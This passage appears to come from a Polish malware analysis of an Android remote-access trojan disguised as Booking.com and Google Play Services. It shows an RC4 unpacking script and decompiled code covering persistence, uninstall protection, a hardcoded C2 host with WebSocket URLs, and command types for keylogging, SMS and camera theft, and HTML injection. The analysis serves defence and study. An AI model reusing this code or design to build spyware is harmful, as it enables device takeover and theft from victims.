        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rc4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;asset&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read_bytes&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;mLYQ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3 unpack_stage3.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Wynikiem jest &lt;code&gt;FH.svg.rc4.dec&lt;/code&gt;, czyli archiwum ZIP zawierające finalną ukrytą parę dex:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;classes.dex&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;classes2.dex&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Uruchomienie końcowego modułu&lt;/h4&gt;
&lt;p&gt;Nawet na tym etapie aplikacja nadal prezentuje ofierze tę samą widoczną fałszywą strone opartą na motywie &lt;em&gt;Booking.com&lt;/em&gt; (używając webview):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;APP_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Google Play Services&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;BASE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;https://booking.interaction.lat/update/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;jednak jej &lt;code&gt;MainApplication&lt;/code&gt; zachowuje się już jak trwały moduł złośliwego oprogramowania:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;DualWebSocketProvider&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INSTANCE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mainApplication&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;DynamicIntentReceiver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INSTANCE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;register&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mainApplication&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;mainApplication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startPersistentServices&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;mainApplication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ensureUninstallProtectionReady&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;mainApplication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initializeNotificationPersistence&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;mainApplication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startServiceHealthMonitoring&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;mainApplication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initializeAlarmPersistence&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;mainApplication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initializeWebSocketHealthMonitoring&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;mainApplication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initializePermissionLossProtection&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;W praktyce ważne są tu dwie rzeczy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;malware od razu uruchamia długotrwałe usługi,&lt;/li&gt;
&lt;li&gt;jawnie inicjalizuje ochronę przed odinstalowaniem, mechanizmy monitorowania stanu, persystencję alarmów i logikę odzyskiwania WebSocket.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To nie wygląda jak zachowanie prostego modułu pobierającego. To logika inicjalizacji właściwego modułu RAT-a.&lt;/p&gt;
&lt;h4&gt;Finalne C2: rozdzielona architektura WebSocket control/data&lt;/h4&gt;
&lt;p&gt;Finalny etap hardkoduje pojedynczy host backendu, a następnie buduje z niego dwa niezależne kanały WebSocket:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER_HOSTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CollectionsKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;listOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;otptrade.world&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;BUILD_TAG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;pulse_1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CONTROL_MESSAGE_TYPES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SetsKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setOf&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ping&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;pong&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;androidHandshake&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;viewerHandshake&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;command&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;gesture&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;viewerControl&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;disableUninstallProtection&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;enableUninstallProtection&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;getKeylogs&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;clearKeylogs&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;getInstalledApps&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;getDeviceState&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;getKeyguardInfo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;switchClient&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;requestClientList&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;identification&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;command_response&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;vnc_screen_sharing_started&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;vnc_screen_sharing_stopped&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;vnc_screen_sharing_error&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;vnc_screen_sharing_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;websocket_health_report&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;health_ping&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;health_send_test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;websocket_recovery_report&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;websocket_recovery_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;permission_granted_notification&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;permission_status_report&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;accessibility_service_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;socks5_enable&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;socks5_status_request&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;DATA_MESSAGE_TYPES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SetsKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setOf&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;screenUpdate&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;screenLayout&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;screenFrame&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;vncScreenFrame&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;keylog_batch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;camera_frame&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;camera_system_ready&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;camera_command_response&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;camera_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;camera_status_response&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;camera_error&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;camera_unexpected_stop&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;sms_batch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;sms_entry&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;sms_status_update&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;sms_detailed_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;sms_permission_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;sms_permission_error&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;sms_command_response&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;service_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;power_mode_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;power_status_response&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;system_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;enhanced_system_health&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;installed_apps_response&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;crash_report&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;secure_app_click&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;screen_state&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;pattern_lock_completed&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;pattern_lock_cancelled&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;pattern_lock_triggered&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;pattern_lock_test_triggered&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;pattern_lock_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_injection_triggered&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_injection_displayed&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_injection_dismissed&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_injection_error&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_injection_test_triggered&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_templates_available&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_injection_attempt_success&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_injection_attempt_failed&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_data_captured&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;socks5_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;socks5_tunnel_connected&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;socks5_tunnel_disconnected&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Adresy URL są konstruowane następująco:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;buildControlUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;useSSL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;useSSL&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;wss&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;ws&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;://&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;CollectionsKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;first&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DualWebSocketManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SERVER_HOSTS&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;:8443/control?&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sessionId=&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;DualWebSocketManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;buildDataUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;useSSL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;useSSL&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;wss&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;ws&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;://&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;CollectionsKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;first&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DualWebSocketManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SERVER_HOSTS&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;:8444/data?&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sessionId=&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;DualWebSocketManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Kod klienta dodaje też identyfikujące nagłówki:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;proceed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;request&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;newBuilder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;User-Agent&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;AndroidClient-Control/1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Channel-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;control&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Session-ID&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this$0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionId&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Device-ID&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this$0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;deviceId&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


